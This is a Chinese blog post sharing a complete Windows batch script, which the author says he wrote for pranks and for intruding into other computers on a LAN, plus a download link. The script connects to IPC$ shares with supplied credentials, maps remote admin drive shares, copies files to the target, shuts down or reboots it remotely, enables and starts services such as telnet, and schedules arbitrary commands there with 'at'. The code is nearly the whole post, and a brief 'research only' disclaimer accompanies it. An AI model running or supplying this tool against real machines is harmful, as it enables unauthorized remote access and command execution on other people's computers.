首页 » IT技术 » 正文

IPC连接,可以做的事情。

这是第一篇博文,手头似乎没有什么可以写的,但是又想写点什么,发个批处理吧,自己几年前写的,用于恶搞和入侵局域网其他电脑的,代码如下:

[code]
@echo off
title fcc ipc tools
:main
cls
color a
echo.
echo ******************************************************
echo 欢迎使用fcc ipc$ 连接工具,本工具属于常规的入侵
echo 工具之一,有关ipc 入侵简介请查阅相关资料,本工具只供个
echo 人研究用途,请遵守相关法规。
echo.
echo.
echo 作者frogchou e-mail:frogchou@163.com
echo.
echo.
echo ■■■■■■■■■■■■■
echo ■0:连接新的远程主机 ■
echo ■1:查看已连接的远程主机■
echo ■2:断开已连接的远程主机■
echo ■3:打开一个新的命令窗口■
echo ■■■■■■■■■■■■■
echo !!退出请按“q”!!
echo.
echo ******************************************************
echo.
set /p select= 请选择:
if /i "%select%" == "1" cls & net use
if /i "%select%" == "2" goto colser
if /i "%select%" == "3" start cmd
if /i "%select%" == "0" goto connct
if /i "%select%" == "q" goto quit
if errorlevel 1 goto error
if errorlevel 0 echo 执行成功!按任意键返回上级目录!& pause >nul
goto main
:error
color c
echo 执行失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto main

:connct
set /p ipadd= 请输入要连接的ip:
if /i "%ipadd%" =="q" exit
set /p username= 请输入要连接的ip的用户名:
if /i "%username%" =="q" exit
set /p password= 请输入密码:
if /i "%password%" == "q" exit
echo.
echo 正在建立连接。。。。。。
net use \\%ipadd%\ipc$ "%password%" /user:%username%
if errorlevel 1 goto error
if errorlevel 0 goto succ
:error
color c
echo 连接失败!请看提示!按任意键返回主界面。。。& pause >nul
goto main

:succ
cls
color a
echo 连接成功!请选择下一步操作。。。
echo.
echo *********************************************
echo 0:查看对方共享 1:传文件 2:映射磁盘
echo 3:远程关机 4:开启服务 5:添加计划任务
echo 6 返回主界面 7:断开当前连接 8:退出
echo *********************************************
set /p select= 请选择:
if /i "%select%" == "0" goto seeshare
if /i "%select%" == "1" goto sendfile
if /i "%select%" == "2" goto yscp
if /i "%select%" == "3" goto guanji
if /i "%select%" == "4" goto server
if /i "%select%" == "5" goto task
if /i "%select%" == "6" goto main
if /i "%select%" == "7" goto colse
if /i "%select%" == "8" goto quit
if errorlevel 1 goto cw
:cw
cls
color c
echo 输入出错!按任意键返回重选。。。。 & pause >nul
goto succ

:seeshare
cls
color a
net view \\%ipadd%
if errorlevel 1 goto error
if errorlevel 0 echo 查看成功!按任意键返回上级目录!& pause >nul
goto succ
:error
color c
echo 查看失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:sendfile
cls
color a
echo ********************************************
echo 请务必了解你要传送的文件的绝对路径和对方共享
echo 路径。或将本地文件拖入本窗口,文件路径将自动
echo 添加。
echo 按“q” 返回上级目录
echo ********************************************
echo.
set /p filepath= 请输入本地文件路径:
if /i "%filepath%" == "q" goto succ
set /p rfpath= 请输入目的路径:
if /i "%rfpath%" == "q" goto succ
xcopy %filepath% \\%ipadd%\%rfpath%
if errorlevel 1 goto error
if errorlevel 0 echo 传送成功!按任意键返回上级目录!& pause >nul
goto succ
:error
color c
echo 传送失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:yscp
cls
color a
echo.
echo ************************************************
echo 按“q” 返回上级目录
echo 删除磁盘映射请新建命令窗口并输入 net use X: /del
echo 其中X为映射成的自己的硬盘
echo ************************************************
echo.
set /p rmdisk= 请输入对方磁盘盘符:
if /i "%rmdisk%" == "q" goto succ
set /p localdisk= 请输入要映射成哪个磁盘:
if /i "%localdisk%" == "q" goto succ
echo 正在执行。。。
net use %localdisk%: \\%ipadd%\%rmdisk%$
if errorlevel 1 goto error
if errorlevel 0 echo 映射成功!按任意键打开映射好的磁盘!按“q”键返回上级目录!
set /p hold= 等待下一步操作。。。。
if /i "%hold%" == "q" goto succ
start %localdisk%: & goto succ
:error
color c
echo 映射失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:guanji
cls
color a
echo *************************************
echo 1:关机 2:重启 3:注销
echo 按“q” 返回上级目录
echo *************************************
echo.
set /p select= 请选择:
if /i "%select%" == "q" goto succ
if /i "%select%" == "1" shutdown -m \\%ipadd% -s -t 0 >nul
if /i "%select%" == "2" shutdown -m \\%ipadd% -r -t 0 >nul
if /i "%select%" == "3" shutdown -m \\%ipadd% -l -t 0 >nul
if errorlevel 1 goto error
if errorlevel 0 echo 执行成功!按任意键返回上级目录! & pause >nul
goto succ
:error
color c
echo 执行失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:server
cls
color a
echo *******************************************
echo 开启远程主机的服务请输入服务的名称例如
echo telnet 的远程服务名为tlntsvr 这时要输入
echo tlntsvr 而不是输入telnet
echo 有关服务名称请打开自己电脑上的服务窗口
echo 自行查阅!
echo 按“q”返回上级目录
echo *******************************************
echo.
set /p svrname= 请输入要开启的远程服务名:
if /i "%svrname%" == "q" goto succ
sc \\%ipadd% config %svrname% start= auto >nul
sc \\%ipadd% start %svrname% >nul
if errorlevel 1 goto error
if errorlevel 0 echo 服务开启成功!按任意键返回上级目录! & pause >nul
goto succ
:error
color c
echo 服务开启失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:task
cls
color a
sc \\%ipadd% config schedule start= auto >nul
sc \\%ipadd% start schedule >nul
echo.
echo **********************************************
echo 计划任务将在你指定的时间执行某个程序请指定任务
echo 并确保任务的时间在远程主机当前时间之后
echo 按“q”返回上级目录
echo **********************************************
echo.
net time \\%ipadd%
set /p app= 请输入程序路径或命令:
if /i "%app%" == "q" goto succ
set /p ti= 请输入运行时间:
if /i "%ti%" == "q" goto succ
echo 正在添加任务。。。
at \\%ipadd% %ti% /interactive %app%
if errorlevel 1 goto error
if errorlevel 0 echo 添加任务成功!按任意键返回上级目录! & pause >nul
goto succ
:error
color c
echo 添加任务失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:colse
net use \\%ipadd% /del
if errorlevel 1 goto error
if errorlevel 0 echo 断开成功!按任意键返回主目录! & pause >nul
goto main
:error
color c
echo 断开失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto succ

:colser
cls
color a
net use
set /p ipr= 请输入要删除的远程主机的ip:
net use \\%ipr% /del
if errorlevel 1 goto error
if errorlevel 0 echo 删除远程主机成功!按任意键返回主目录! & pause >nul
goto main
:error
color c
echo 删除失败!请看提示!按任意键返回上级目录。。。 & pause >nul
goto main

:quit
net use \\%ipadd% /del >nul
exit
[/code]

就是这些。。。。

提供一个下载 ipc_tools

本文共 1 个回复

回复 第一个评论 取消